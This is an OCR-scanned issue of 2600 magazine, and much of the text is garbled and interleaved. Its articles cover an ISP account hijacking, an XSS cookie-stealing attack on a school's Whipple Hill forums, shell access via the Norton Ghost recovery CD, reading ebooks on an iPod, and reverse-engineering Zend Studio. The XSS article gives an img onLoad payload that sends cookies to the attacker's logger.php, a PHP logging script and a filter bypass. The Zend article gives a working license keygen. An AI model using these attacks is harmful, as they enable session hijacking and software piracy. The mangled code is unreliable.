of said kiddie, and an 151'. punter around.. . . .

I work tech support for a large 151' in a Agents are not hired for their tech abil ity.
state that will remain nameless. (You should They rely on the customer bein g even more
be able to figure it out.) On e night I got a ignorant in order to make them a "tech."
call from a rather ~ice customer reque,sting a About two of every ten people in the center
password reset. HIS name was Mr. 0 Reill y. are techni call y inclined and we pick up the
As I pulled up his account to do this for him punts and fix what the first person should
he told me how he had been "hacked." Now have been able to do. Rant over.
you have to know that we took this with a Havi ng done w hat the clie nt wanted and
grain of salt at tech support. In the four years recomm ending a few things to Assbag to try
I've been do ing tech support I can honestly and help him, I ended the call. Two days later
say that I've only talked to maybe three he called back again with the password issue.
peopl e w ho have actually been abused by a The kidd ie had used the flavor of the month
"hacker." MSN exploi t again, re-crackcd hi s account,

On ce I got his account up, how ever, I and made him self a sub account. A friend of
immediately beli eved him. See,Mr. O' Reilly's min e had the call thi s tim e and talked to me
account came up now as registered to one about it since he saw my name from the last
"Assbag O' Reilly." ticket.

Some scr ipt kiddi e had gotten access to No response to Mr O 'Reilly from the
his accoun t and reset all the personal infor- abuse department and nothin g done. Wh at
mation for the account aswell asoth er things. was different this time was the kidd ie had
So now w henever the customer sent an emai l golten some ball s and was using Asshag's
it wo uld say it was from Assbag O'Reilly. I MSN acco unt to instant message him. We
went over w ith him on how to change it back were watchin g th is happen via our remote
and advised him to change the secret ques- assistance too l. Now we had something to
tion for his acco unt as well since it was lik ely track the kiddi e! On e of our tools for tho se
the kiddie had changed thi s too and would wh o know wh ere to look would show us the
be able to reset the password and we 'd be IP of the last successful login and we found it
right back wh ere we started in a day. was not from our 151'. On e lookup later and

Now here's where we ran into a dead we traced it to an SHC user.
end. We knew that he had been victimized. Choosing to ig~ore the 1S . mi nute rul.e
What could I do as a representative of a because Mr. O 'Reilly was a nice guy (this
major ISP? Not a thing. Nothing. There was goes a long way) we decid ed to call SBC on
no security team that I could escalate the his behalf and track the kiddie at the source of
customer to. There was no phon e number for his connectio n. We got a representative from
any such department listed in the numbers SBC and explained that one of their users
of approved contacts that I could call or was "hacking" our customer as we spoke and
refer the customer to. The on ly th ing I could that we had proof. Here we learned that SBC
do was get the customer to email ilb use@·operatesexilct ly likeour ISl.and didn. t hilve
hotrnail. com and hope for the best. any WilY of doin g anything about it. So ~ve

How could thi s be? Well , as we are got a supervisor instead. You wo uld th ink
outsourced SUP\Jort we are given very few a supervisor could do something.... No pe.
tool s and abso utely no access to depart- Their job is not tech. They arc there to make
ments that could do anything about th is. We sure there are butts in chai rs taking calls
foll ow the cal l center mantra of the almighty and making money for whatever outsourced
talk time and all issues have to be resolved compil ny is hired by the lSI'. They said that
in an averilge of 1S mi nutes or there's the
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there's nothi ng they can do and do n't even
have an email address for the abuse/security
team. We pressed the poin t and they actually
tol d us that wh at their user was doing was
perfectl y acceptab le use of their service!

I'd love to know what tho SBe legal team
would have said about that one. But it makes
my point and shows you the realit y of what
the average victim of script kidd ie mayhem
has to go throu gh. We did all we could but
until th is kidd ie grows up and leaves him
alone, Assbag is stuck (unless he takes legal

action). We did more than we were supposed
to and got nowhere because outsourced
support and the lSI's who use them just don 't
give a crap.

I wo uldn 't say it's open season or that you
won't get your service pull ed for hacking
or worse. But the system is actually stacked
slightly against the average user and in favor
of the script kiddie.

The tall y: Kiddi e 1, Assbag 0, Isr... rich.
Shouts to Cikln, t turrvb .ilz , ZX, and

jedi2(,2 .

Hacking Whippl e Hi ll with XSS

by Azohko
My school recentl y redid its website w ith

a new and shinr user interface created by a
company caller Whipple Il ill (www. whipp l e ­

hil l. com). This new website enables you
to check your schedu le onlin e and create
groups wh ich could also create their own
torum s. After minutes of poki ng around, I
found these group forums were vul nerable
to an XSS exploi t. By redirectin g the user to
my website w ith a cookie stealer on it, you
wou ld 1)(' able to replace your cookies w ith
theirs and become logged in as them. This
code would redirect the user to my website
by loading an image.

o:.: i mg s rc = " l inkToAnlmage " onLoa d= ' javdscr i pt
.. : documen t, . l o c at .i on - "www. Ch a n g cT o Yo u r S i t e.
- c om/ l og g e r . php ? " + d o c ument . cookie '""

The above code then passes the cookie
information on to this script, w hich logs the
data into "" ,

ev p hp
Lu ric t. Lon j oqna t. a ()
(
SipLog =" log . Lx L" ;
scook i e = $ SE RVE R [ I QUERY ST R l NG' 1 :
$ rp f p r~r = $ _ SERVF.R f 'HT TP=REFERER I ] ;

sd a t. e e da t.e ( " } dS ot F Y h : i r a A ll ) ;
$ l og = f.o pen ( ll $ ipL og " , U a t ll );

seem to th ink it was a \lr ior ity to fix it . This
was a major vulnerahi ity among many of
their wehsites and they never seemed to be
in a hurry to fix it. Finall y I got a message
back responding to the explo it saying it was
fixed. W rong. Their amazi ng fix was to filter
out the word ,'" so the user couldn 't stoal
coo kies. It took abou t two seconds to come
up w ith new code to exploit this:

e i mq s r c e "I i n kT'on n Ima qe "
o n l. o n d e I j a v a s c r Lpt. »d o c ument. . To ca t.Lon e t'www •
Ch a nqeT'cYou rS i t.e . c om/ Loqqe r, p h p ?" t

docudo Climen t. . cooKiement .cook ie '>

The difference here is that when u n is
filtered out it sti ll form s "" , This problem
could easily have been fixed by using another
method of checking for XSS in PHI'. Instead
of searching for and removing at they shou ld
have found every instance of u" and replaced
that with U script" with a space. No harm
could be done here, and this way peop le
couldn't have harml ess but annoying scri pts
running on the! forums. This could be dono
easily wi th tho fo llow ing PHI' :

<.?php
$r;~archFor = un

$replaceWit.ll = " scr i p t."
$ t ex t = slr_ rep l dce( $sea rch For , $ r ep l ~ ce

- Wi t.h , st e x t. j r
'?>

l ogDa t.a () ;
?>

[c l ose ($log ) ;
}

fpu t.s ( $ log , l' COOKI E STO L EN ! RE F : Sz-e t e r-e z-

- I DAT E : Sria t.e I COOKIE : scook i e \ n l1
) ; This new website my school bought cost

them a lot and it amazes me that it wou ld
be vulnerable to something so simp le. Not
only was the origina! exploit simpl e, but they
fai led to fix it successfully. This is sad consid­
ering they are supposed to be professionals.

Whi le simple at fi rst (lhey didn't fi lter any Check your own school 's websites for simple
HTM L at all), wh en I called them they didn't explo its. You might get lucky lik e me.
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Haunting

theM
and hit enter to gain a com plete l ist of fi les,
drives, etc. For an even bigge r l a ~gh , just
hit Fl at the main screen. The OPEN mtertace
seems to be a standard Explorer interfa~:e,

however because of system limitations, all til e
interactions must take place in thi s window.
For easier use, brow se over to the CD-ROM
and up to the iJ86/system32 fo lder. Here you
should find TASKMGR.EXE. Task M anager
wi ll give you a litt le nicer access than HELP

(default execute instead of open). In ord~r to
run it, you wi ll ha\e to OPEN . fro~ the right­
cl ick menu, otherwise HEL P w il l think you arc
trying to SELECT a library.

Need to rename, copy, cut, paste a file? It 's
all there. Just be aware that you w ill not see
your changes until you refre~h you r screen
(get used to hittin g F5 all the time).

Do n't waste your time wi th mov ing
specif ic files, move w hole fold ers. The OPEN

menu only allows you to work with a single
fi le or folder at one tim e. So, tryi ng 10 copy
15 fi les becomes a little tedious and error
prone. I've successfully been able to usc
USB storage devices, wh ich certainly makes
it convenient for backin g up hard to reach
data or imp orti ng a replacemen.t fil e. .

This process has been espec ially useful In
removing unwanted DLLs that embed them­
selves at the boot (spywa re).

The fun reall y begins wh en you try to
execute different programsor system executa­
bles sitt ing on the hard dri ve. CMD. EXE work~~d

for me. The build of Ghost 9 that I have sits
on XI' Pro 51'1 . I am uncertain if thi s is why
I have not been able to run Exp lore r from a
hard dr ive or not, since I've probably made
all my attempts on SP2 in.stallations.There arl;
a lot of thi ngs that occur In the backgrou nd ~t

an MS boo t sequence, so succe ss may ~n t.a il

a lot of script ing and editi ng (beware 01 crip­
pling an otherw ise workin g test system). I
have dabb led extensively but been unable to
br ing up a mor e rob ust level of opera t io~. I
hope that someone else can add to wh at I ve
discovered and maybe I' ll have more good
new s for you when I eventuall y get arou nd to
buying Ghost 10.
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by Passdown
M icrosoft sure does make life easy for the

end user, but for those of us w ho are called
to fix a dow n M $ system, life can be trvin g
at tim es. Let's face it, if you were one of the
richest companies in the wor ld, you wo uldn't
want to share your propr ietary gimmicks
either. So, this leaves the techni cian ho ld ing
a woeful lv empty bag of tool s. Ever have a
laptop ru'nning an NT FS installed version
of XI' Hom e? No, I know you wo uldn't, but
your cl ient probabl y does. And of course.,
he's messed it up. There are a myriad of
possibl e problems, but let's assum~ that all
you need to do is have a nice GU I Interface
to copy off or change som.e fi les. At t~e tim e I
started writi ng this Knopp ix NTFSw nte capa­
bi li ty was stil l pre-A lpha, Now it's out, .but do
you trust it? M e neither. I hate workin g on
laptops and I certainly don't want to pull .the
hard drive out to put it in another machin e.
All I need to do is move the SAM fil es, or
edi t an IN I, or wh atever. Let 's say that I'm
even locked out of the admi nistrato r account
when booting from the XI' Home CD. (Let 's
assume that someo ne actually set a pass­
word .) I know there are still ways around that
but, hey, we lik e GU I. .

Enter Nort on Ghost 9, I was able to pi ck
up a legi t OEM copy from an onl !ne vendor
for about $17. Goo d deal. Ghost Images are
qui te nice for pickin g up the pieces .after
doomsday. I highly recommend It. The inter­
esti ng thi ng isthere are ot,herf~atu res that t~ey
probably hope you don t noti ce. The ea~I('st

wav to work with a W indow s system... IS to
use a Wi ndow s system. The Ghost r~covery
CD boots into a stripped down live CD
rigg('d version of XI' Pro. II soerns S'yn~~~tec

bu ilt their ow n shell . I am uncerta in II It IS
based on Explorer but, if it is, some functions
are st i ll available. M y favorit e way to garner
svstorn access is the often overlooked HEL P

menu. There's not much in the Ghost shell
menu, but if you c lick HELP , you will find
standard menu opt ions, such as OPE N. F!.om
here use the " ." opt ion in the fi lename field
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anywhere (even from the new backup feature
in iTunes 7).

With all that said , here 's how to pla ce and
read an eboo k on your iPod:

1) Get an eboo k. Make sure it's in "plain
text" format. Don 't spe nd mon ey unless
~ou ~ave to . There are plenty of free eboo k
libraries a ll over the Intern et. I've co mpiled
a list to get you sta rted: http://www .andy
- b r a i n . c om/ a r ch i ve / j ou r ney_ t o_ t he
- cent er of an ebook .htm

2) .Ena ble Notes access on your iPod by
chec king Enabl e disk use in iTunes . This
feat ure (turned off by defaul t), a llows you to
use you r PC to browse to your iPod , a llow ing
yo u to copy files directly to the device. For
more instructions and deta il, see th is link:
http : / /docs .inf o.appl e. com/ar ic l e.
- ht ml ?ar t num=61l3 1

3) Co nvert your ebook to a form at
supported by iPod Notes. Use this iPod
eb~ok creato r service to upload your
plain text ebook and convert it into an
iPod readab le format: ht tp : //www .ambi
- ence . sk/ i pod-ebook-cr ea t or / i pod-book-
- not es - t ext -convers i on .php . Take the files
co nta ined within the result ing ZIP file and
place them into a new folder within you r
iPod 's Notes folde r. (To do this, ma ke sure
you've co mpleted step number two above .
Then browse to your iPod using your Pc. You
s.hould . se~ a No tes folde r. Placing all the Zip
files Within a newly created subfolder isn' t
required , but makes navigation much ea sie r
an d faste r.

4) Read it.
After disconnecting you r iPod from your

PC, ope n Extras -> Not es on your iPod.
You sho uld see the fold er you created in the
previo us step. Click to view the folder a nd
you sho uld see the do urnent s you moved
the re, a ll numbered like mydocumentOOl,
mydocument002, etc. Start with the first doc u­
ment. You 'll see backwa rd an d forwa rd
arrows at the top and bottom of the Notes.
Select ing with the center butto n a llows yo u
to page back and forth between Notes.

The ac tua l irod ebook readin g process
co nsists of scrolling slowly throu gh the Note
as you read it, then cl icking on the next Not e

by DBTC
The iPod do es not have an ebook-specific

read er or just a text format good for readin g
ebooks. It's unfortu nate becau se the style
and ca pa bilities of iPods make them perfect
for such function s. Sure, you ca n use the iPod
as a portable hard drive to read ebooks using
any Pc. But if you wa nt to use the iPod itself
as a~ ebook reader, it's ce rtainly possible.
Readin g eboo ks on a n iPod co nsists of just
co pying the co ntents of an ebook into iPod
Notes and sc rolling throu gh multipl e notes
in ord er to read the ebook. But there are
limitations .

Each Note ca n hold no more than 40 12
charac ters. If an iPod Note contains mo re, it
will still load, but o nly the first 40 12 char­
acters will be disp layed . You may see other
refere nces mentioning a 40 96 charac te r
limit. Looking at the results from an actual
cut-and-paste experiment, the limit is really
401 2.

The iPod can hold no more than 1000
Notes . If you load more, onl y the first 1000
will be disp layed.

Assumi ng each Note is packed to
capacity, that 's 4,0 12,000 characters. So any
gi~en iPod can ho ld roughly 2,467 pages of
printed text, or enough for e ight med ium
sized books.

To summa rize these issues with readi ng
ebooks on an irod:

Problem J: To read ebooks on an iPod
screen, the best place is to copy plain text
inform ation into iPod Notes. Each Note
o n the iPod ca n hold no more than 401 2
charac te rs.

Solution 1: Each ebook much be broken
up into a multi-Note format. iPod Notes use a
very sim ple HTML-der ived mar kup lang uage.
For short stories , it' s easy to create the Note­
to-Note links yourself. For lo nger stor ies, save
yourse lf the pain by auto mating th is process.

Problem 2: iPods can on ly hold a few
books befo re run ning out of ava ilable Notes
spaces.

Solution 2: Keep your ebook co llec tion
on your PC and just co py books to and from
the iPod as need ed. This is a good solution
an yway as iPod Notes aren' t backed up
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p a g e arrow at the end of the document. Be
aware that hitting the Me nu button acts like
a "previous page" function. So if you read,
for example, ten Notes wo rth of linked text,
you' l l have to hit the Men u button ten times
in order to get back to the Extras - > No t e s
section. Depend ing on how much you 've
read, it may be easier and faster just to reboot
you r iPod w hen you 're done. (There is a way
to programmatically clear thi s stored Notes
history, but the converter mentio ned above
doesn 't use it.)

The iPod ebook creator mentioned above
will do the trick. If you want a more exten­
sive manageme nt system, or want something
install ed locall y, here are some opt ions.
Each program wil l allow you to keep track
on many cbooks on your pc, giving you the
optio n to "activate" just the ones you want for
iPod read ing.

Mnc as:Book2l'od: h ttp ://www . tomsci.
- c om/ bo o k 2p o d

W indows os: il'odlibrsrv: h t tp : / /www .
-'s t u r m. ne t . n z / we b s i t e . php ?Se c t i oIl:::. i Po d +
" Pr ogr ams &Pa g e =i Pod Li b r a r y

Using this process, we can read text and
eboo ks on any iPod with a d isplay screen.
The process, unfortu nately, requi res a bit
more hassle than it should. Unti l Apple
decid es to remedy this with proper eboo k

support and features lik e font adjustmen t and
auto-scrolling, we can make do.

More Information
Learn more about the iPod Notes markup

language. Also see user comments at the
bottom of the second page for code on
compiling you r own iPod ebook extractor:
h ttp :// www.orei l ly ne t .co m/ pub /a/
- ma c / 2 0 0 6 / 1 2 / 1 2 / i p o d - n o t e s - a b o v e - a n d -
- be y ond . h tm l

Learn about "BUild ing Interactive iPod
Exper iences." W hile the article brief ly
mentions ebooks, it talks in more detai l about
the iPod's markup language to run interact ive
presentations incorporating pictures, sounds
and videos: http : //www.macdevcenter .com/
- p u b / a / ma c / 2 0 0 6 / 1 1 / 2 S / b u i l d i n g - i n t e r a c
- t i ve - i pod - e x p e r i e n c e s . h t ml

Mac users may be interested in Text2iPod
X, a Mac-only application that copies
ent ire ebooks into iPod contacts, appar­
ent ly w ithout size lim itations. While thi s is
great. I d idn' t incl ude it in the main article
because 1) I wasn't able to test it, and 2) I'd
like my "ebooks on iPod" solut io n to work
on all systems. Here's the li nk: ht.t p ://
- h o m e p a g e . ma c . c o m / a p p l e l o v e r l
text2 i podx/text2ipodx . html

For more from DBTC, vis it ht tp: / /www .
- a n dy b r a i n . c om.

Java

Revers
by quel as dobuggers. The basic premi se behind the

Com panies have an amusing habi t of first version I reversed was that I had install ed
obfuscating Java code and then distribut ing a 30 day tria l but had been too busy at the
the app licat io n and thi nk that it is secure. office to actua lly get to really try it. Well ,
Unfortunately for them Java classes aka byte time to hack it so I cou ld fin ish testing it.
code are trivi al to decompile.The obfusca tion We wi ll go ahead and start w ith version
serves as litt le more than speed bumps w hich 3 of the stud io as thi s was the first version I
means more fun for us and a li ttle extra time. reversed. Now it wou ld be trivia l 10 patch the
Of cou rse what reverse engineering project is Java, compile the c lass fi le, and repackage
worth it if it is trivia l? the jar. Cracks are ugly hacks. We are going

Now many of you are familiar wi th PHI'. to reverse it to our satisfact ion so we can
The company behin d PHI', Zend, produces a wr ite a fu ll keygen. (Not a half-assed keygen
tool called Zend Studio. The too l lets you step but one that wi ll actually generate any ami
through code and basically is one of the few all possible valid keys.)
ways to actually get the feature set you wo uld First, find the ZendlDE.jar and either use
expect out of a programming language such j a r x or even unz ip -x will do it. You w ill
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also want to get a copy of lA D, a Java deco mpiler. Now you can use grep, strings, etc. to track
down what you are loo king for or of course start by tracing all the way through the code. After
some time grepping and checki ng out the decompiled code from JAD I found that com/ze ndJ
ide/utillfl a.c1ass was going to be the primary target. (Grep[)ing for the string you find on the
screen to enter your username and license key is a good p ace to start.)

Check out a.jad and you'l l see things li ke USER_NAME and LICENSE_KEY. You 'll notice
everything is named a, b. c, etc. This is part of their obfuscation and somet imes part of the
decompi lin g process. In any case, use the return types and the overloaded types in functio n
arguments to help you find your way.

Check out publ ic voi d "a" (S trin g s , Stri ng s i )

Look at that "a" comment / /USER KEY (could it be thi s easy?)
Lets trace th is code:

b = b (s , s l);

Hrm. Something special about starting w ith "lk" - let's note that for later.
OK, sl has to be greater than or equal to a length of 18 (lice nse key), s2 is the substring

from 16 to 18 of sl , and s3 is the first 18 characters of sl . Now sl is the first 16 characters. 51
must be O. s4 is a substring of sl from 8-16. s5 = "Zend" + s +s4 + s2 + s3. Bingo.

At thi s po int you can tri al and error or just keep tracin g the code until you have all the
lim itations and checks dup licated.

Here's a php script to create the keys. (Editing the same fi le took me about ten minutes to
update the keygen for Zend IDE 4. I haven't looked at 5 but I don' t expect their method to
have gotten much harder.)

if (isset( $_ GET) && c ount ($_GET) > 0 )
{

if ( ! i s set ($ GET[ "user "] ) II ! $_ GETl "user " ] )
$na me "Own 3d" ;

e lse
(

$name = $_ GET [" u s e r "] ;

//f i r st 2 must n o t be lk
if (st r c a s ecmp (s ubstr( $n a me , 0 ,2 ) , "lk" ) == 0)
(

$name = subst r ($ n a me , 2 );
echo liThe fi rs t 2 c ha r s must not be lk<Br >";

i f (strlen ($n a me ) < z 0)
$name = "Own 3d"i

if (!is s et($ GET[ " h owma ny " ] »
$_G ET [ "h o;:;many" ] = 0 ;

$h owmany = i n t v a l ($ _ GET [ " howmany " ] ) ;

if ($ho wma n y < = 0 )
$h owmany = 260 0;

if ($howmany > 2 147 4 83 64 7)
{

$h owmany = 26 00 ;
e cho "Li mi t of licenses i s : 21 4 74 83 647<:br>" ;

if ( ! i s s e t ($ _G ET [" s e ed" ] »
Saeed = " 3 6 " ;

else
{

if (i ntva l ($_GET[ "seed "]) > = 3 5 && i n t v a l ($ _GET [ "se ed " l) <= 99)
$seed = $_GET [ "se e d " ] ;

el se
$seed = " 3 6 " ;

$st r = "Ze nd";
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$hardcode = "0304 ";

$str .= $name ;

$pad = ";

for ($ i = ( 5 - s t r-Len I s name l l r $ i > 0; $ i - -)
$pad . = "0 " ;

$pad "00";

$st r $hardcode. $seed . $pad . "000 " . $howmany;

printf ("LICENSE_KEY : \08X\s\s\sOOO\s<br >USER_NAME : \s ", c r c 3 2 ( $s t r ) , $h a r d c od e , $
" s e e d , $p a d , $h o wma n y , $n a me ) ;

echo " <b r ><b r >No w find Ze n d ID E .config and replace the LI CENSE_ KEY and USER_
- NAME<b r ><b r > " ;
}

echo " < f orm me t h o d = ' g e t ' >
En t e r the username : <b r>
<i n p u t type= ' textbox ' n a me :'us er' max length='SO '><b r>
Numbe r o f l i censes : <b r>
<i n pu t lype= 'textbox ' n a me = ' h o wma ny ' ><b r >
Enter a random number between 35 and 9 9: <b r>
< i n p u t lype5 'lextbox ' name s 'seed ' maxlength: ' 2 ' ><br >
<i npu t type: ' s ubmi t ' name~ ISubmit '>

</ f o r m>" ;

Sho uts to anuu us who wo rked with mc on th!' initial reverse pngineering proiect .

Why not avoid the chaos and subscribe?
Still only $20 a year in t he Sta tes and Canada, $30 el sewhere .
Send check or money order i n US funds to
2600 , PO Box 752, Middle Island, NY 11953 USA
or visit our store at store.2600 .com!
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HOPEFORUMS
Announcing a brand new way to communicate your thoughts
and ideas about the HOPE conferences, 2600, and hacker
issues!

Simply go to http://talk.hope.net and join the fun! We already
have many lively discussions in progress and you can start
your own if you feel the need. The fo rum fo cu ses mainly on
the past and fu ture Hackers On Planet Earth conferences and
the current battle to help save th e Hotel Pennsylvania, slto of
HOPE.

Registration is simple, quick, and free! See wh at happens
when we all put our heads together.

OFF THE H/~

Technology fro
Hacker perspe't~ l

BROADCAST FOR ALL THE WORLD''T0 REAR

Wednesdays, 1900-2000 ET
WBAI 99. 5 FM, New York City

WBCQ 74 15 Khz - shortwave t o North America
and at http://www.2600.com/offthehook over the net

Call us during the show at +1 212 209 2900.
Email oth@2600.com with your comments .

And yes, we are interested in simu lcasting on other stations or
via satell ite. Contact us if you can help spread "Off The Hook"
to more listeners!

Summer 2007------ ---------Page 61



CHAOS COMMUNICATION CAMP 2007 . Thi s eve nt will start August
8th and last unnl August 12th. 2007. That's nq ttt. fadres and gent le­
men. We iUC going for f ive days this time ! The Ca mp WIll take place
al a brand new loca tion at the Airport Museum 111Fmowturt . drrectlvat
Fmow airport. So If you like. you can directly fly to th~ Camp. y~u c':In
get to the location easily with a ca r ~n less than 30 minutes start ing In
Berlin and we will make sure there IS H shuttle connectio n to the next
train station. The coor dinates of the loca tion are 52.83 17. 13.6779
More details at ccc.oo .
CALIFORNIA EXTREME 2007 . August 11-t 2, 2007. San Jose.
Califo rnia . The "Classic Arcade Games Show.· An expo of hundrods
of co in operated video games and pinba ll macrunes once found in
arcades. Featunnq tournaments. spea kers. parts vendo rs. and an
oppo rtun ity to play games you may not have seen for years . All the
games on display WIll be set for free play. www.ca extreme.cr q
HITBSECCONF - MALAYSIA is the prenuer network sec unty even t
for the regio n and the largest gatheri ng of hac kers in Asia. Our
2007 event is expected to attract over 700 .anflndee~ from aro und
the wor ld and will see 4 keynote spea kers In addition to 40 deep
know ledge tech nical researchers. The con ference takes place
Sep tembe r 3rd through September 6th In Kuala Lum pur. More detai ls
at http ://oonference .hltb.orgtlli tbsocco nf200 7kl!.
DAYTON'S RRST HACKER CO Nt Please jotn us on Satur day.
October 13th 2007 for the inaugu ral Day-Co n Hacker Con In Dayton .
Ohio. This un ique event promises to impress. II breaks down like
this : one day hac.kingJ$ecLJ rlty conference (check your ha~ at the
doo r). 250 tickets . POOH Sessions (Poin t Of Or igin Hacking). tools,
fresh neve r before seen presentations. PacketWars.Pro Shop.
includes food and enterta inment. For more information check out
www.day -con .orq
ILLUMINATING THE BLACK ART OF SECURITY. Announcinq
Sec Tor - Sec untv Ed uca t-on Co nference Toronto . Novernbee 20 -21,
2007 . BringIng to Ca~ada the world's brightest (and da rkes t) rrunds
together to identity. dISCUSS. dissect. and de bate the latest diqrtal
threats facmg corporations today. Unique 10 centra l Canada . Bee l or
provides an unmatched oppo rtun ity for IT professionals to collaborate
WIth their peers and learn from their mentors. All speakers are true
secu rity professionals WIth depth of understandinq on tOPICSthat
matter . Check uS out at www.sec tor.ca to see the nnpressave grOWIng
list of speakers and be StJr 6 to sign up for ema il updates. Attendees
and Sponsors - don't miss out. both ate hrmted '

F rSale
VENDING MACHINE JACKPOTIERS. Go to
wwwhackershomepaqe.ccrn for EM P Devices, Lock PIckS. Rada r
Jam mers & Co ntrove rsia l Hacking Manuals. 40 7-965 -5500
MAKE YOUR SOFTWARE OR WEBSITE USER FRIENDLY Wllh
Foxce. the friendty and mteracuve cartoon blue fox.!Not everyone
who will naviqa te you r websrte orsoftware application will be an
expert hacker, and som e users WII\ need a litt\e he lp! Foxee IS a
hand anim ated MicrDSOftAgent cha racte r that WIll acce pt Input
through voice commands. text boxe s, or a mouse. and interact With
your users through tex t. animated gestures , and e....en diqita ! speec h
to help guide them through your software WIth ease ! Foxee suppo rts
10 spo kefJ langu.Jgos anrl31 written lang uages . She ca n be added
to yow softwa re through C ... , VB6 , all .Net language s, VBS cript.
JavaScnp t. and many others' Nanvelv a:'mpatlble with Mcrosott
Internet Explo rer and can work WIth Moll ila Firetox when used WIth
a free plug ·in See a free demon stration and purch~slng mformanon
at www.t oxce net!
TV-B-GONE. Tum off TV~ In pub lic places I Airport s. restaurants,
bars. anywh ere there's a TV. See why eve ryone at HOPE Number
Six loved It. 1um ing olf TVs realty IS fun. $20 .00 each .
www .TVBG one com
NET DETECTIVE. Whe ther you're just curious . trying to loca te or nro
out abou t peop le tor persona l or business reasons , or you re lookIng
for peop le you 've fallen out of touch with. Net D?toctJve ma.kes It all
poss ible I Net Detective is used wo rldw ide by pnvate ~nv~tlgators

and detectives. as well as everyday peop le who uso It to find lost
relatives. old high school and army buddies. deadbeat parents. lost
loves . peopl e that owe them money, and Just plain ok! SnooPlIlQ
around. VISJt us today at www.netdelec1 lve.org.uk.
JEAH.NET SHELLSlHDSTING SINC E 1999 - JEAHs FreeBSD
she ll ac.counts contJnue to be the choice for unbeatable upnme and
the largest VIrtual host list you'll find Rnywhere . JEAH lets you trans­
fer/store fIles. IRC. and ema il WIth complete pnvacy and socunty.
Fast, stable VlftUaJ web hos ting and completely anonymous do~ain

regIstrat Ion solutKlns also avaHahle wllh JEA H. As always. men tIon
2600 and your sotup fees are waIVed ! JOin the JE AH.NET InstitullOn !

NETWORKING AND SECURITY PRODUCTS available at
Ovatron'Iechnoloqy.corn. We're a supplier of Network Secu rity and
Internet Privacy products. Our online store features VPN and firewa ll
hardw are , wireless hardware , cable and DSL modems'r oute.s. IP ac­
cess device s. VolP products. paren tal contro l products. and ethe met
switches. We pride ourselves on providing the highes t leve l of tecn m­
ca l expe rtise and custome r satisfa ction . Our commitmen t to you... No
surp rises ! Buy WIth con fidence' Security and Privacy is our business!
Visit us at htlp :Jtwww.Ova tionTechno logy.com/store .hfm.
SPEND QUAlrTY TIME ONLINE WIth any of over four thousand
cheerful sluts. Start at ht1PJ/goodluv.dialyland.COml and enjo y. Cre dit
card required for ago verificat ion . ron-pnvate video chat IS always
tree. Adults only
PHONE HOME . Tiny, sub-miniature. 7110ounce . proorammanlerre­
programmable touch- tone. muln- ftequency (DTMF) dialer which can
store up to 15 touch-t one dIgIts. Unit IS held aqams t the tele~one

receive r's rrucrophc ne for dia ling. Press -HOME- to automatically dial
the sto red dIgi ts Which can the n be heard throu gh the ultra r mrnatur e
spea ker. ldeal for E.L's. children. Alzheimer victrrns. 1051dogs/
chimps, siqnmcant others, hackers, and computer WIzards. Give one
to a ooy /girl Ine nd or to that potential "someone' you meet at a party,
the supe rma rket . schoo l. or the mall : WIth your pre-programmed
telepho ne number. he/she ~i ll always be able to cal l you I Also .
ideal If you don't want to "disclose" your telepho ne number but want
someone to be able to ca ll you locally or long distance by telephone.
Key nng/dip. Limited quannty avadable. Money orde r only. $24.95
+ $3.00 StH . Mai l order to: PHONE HOME . NImrod Deas on. 33 1 N.
New Ballas Road, Box 410802. cnc, Mlssou n 63 141.
REAL WORLD HACKING: tmeresteo 10 rconops. steam tur mels.
and the hke? Read the all -new Access All Areas, a qtndeboo k to the
art of urban exploration . from the author of Infiltrat ion ztne . Send S20
pos tpa id in the US or Canada, or $25 overseas. to PO Box 13, Sta ­
hon E. Toronto . ON M6H 4E 1, Canada, or order online at
www.m tutratron org .
FREEDOM DOWNTIME ON DVD I Years m the making but we hope
It was worth the wait. A doub le DVD set that mciudes the two hour
documentary. an in-depth interview WIth KeVIn Mitn ick , and near ly
three hours of exira sceres . lost footage. and miscellaneous stuff.
Plus caption ing for 20 (tha t's f1gtlt , 20) languages . com mentary tr<lck.
and a lot of things you'll lUSI hav e to find for yourse lf! The entire two
disc set can be had by sendl rlQ $30 to Freedom Downtime DVD ,
PO Box 752. MIddle Island . NY 11953 USA or by ordemlg Irorn our
online store al hltp :/ls tore .2600 com . (VHS copies of the trlm stil i
ava ilable for $15.)
CAP'N CRUNCH WHISTLES. Brand new. only a few left . 1HE
ORIG INAL WHIS TLE In mmt conditio n. never used .jom thc ohto lew
who own mrs treasure ! Once they ere gone , that is if there are no
more ! Keycnain ho le for kflynng. ldenttty yourse lf at meetmqs. etc.
as a 2600 member by tianghng your keychain and savmq notturq.
Cover one hole and gel exactly ?GOO hz, cover the othe r ho le anti ge t
another frequency. Use both holes to C<..11 your dog or dolpbm. Also.
Ideal fo r telep hone remote control devi ces Price indudes rnarhnq.
$49.95. Not only a collec tor's Item but a VER Y USE=FUl devtee to
carry at alltimes. Cash or money order onl y M<lllto : WHIS I L[ , P.O.
Box 11562-ST. C II. Mrsso un 63105
CABLE TV OESCRAMBLERS. New Each $4 5 + $5.00 shipping,
money order/ca sh only. Work s on ana l.og or ana log /dl<Jital cable
systems . Premnnn channe ls and possibly PPV depen d ing on
system. Co mplete with 11Dvec powe r supp ly. Purcha ser ass umes
sole respon sibi lity for nohfymg cab le operator of use of descr amble r.
Requit es a cab le TV converter (r.e .. neooShack ) to be used WIth
the un it Cable connects to til e convert er, tnen the descramb ler. then
the outpu t goes to TV set tuned to channel 3 CD 962 1 Olive . Box
28992-TS. Ohvette t Sur. MISSQun 63132.
Ema il: cabledescrarnblerguy @yahoo .com .

Help Wanted
RENEGADE BLACK SHEEP TECH ENTREPRENEUR In proces s
of puttmq flesh on the bone.s 01an encry pted voice corrvnu rncatoos
project . beyou have experience In the deep deta us of VOI~/S IP
protoco ls, network tra ffic analysrs . billing system construction. ?t oP
rout ing. and so on? Interested In working with a top-e nd team to build
a wor1d--changing tool for regu lar folks around the world 10 use In
thei r everyday lives? Contact me at wrink o (jiJhtJshrnal l.com.

Wanted
OPT DIVERT for 800 numbers desrerately needed for pri....acy I
need a telephone number anywher e In the U.S. that Will give an
Immod1-ate dial tone from whIch one can then dial a toll-flee 800
number so tha t the toll -free numbe r bus iness rooptent does not h.l ve
the actual telephDne munber from wh ich the cal l or igmated. Furt her,
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Personals

ON LY SUBS CRIBER S CAN ADVERTISE IN 26001 Don't even think
about trying to take out an ad unless you subscribe! All ads are free
and there is no amount of mo ney we will accept for a non-subscriber
ad . We hope that's clear . Of course . we reserve the right to pass
judgment on your ad and not print it if it's ama zingly stupid or has
nothing at all to do with the hacker wo rld . We make no gua rantee
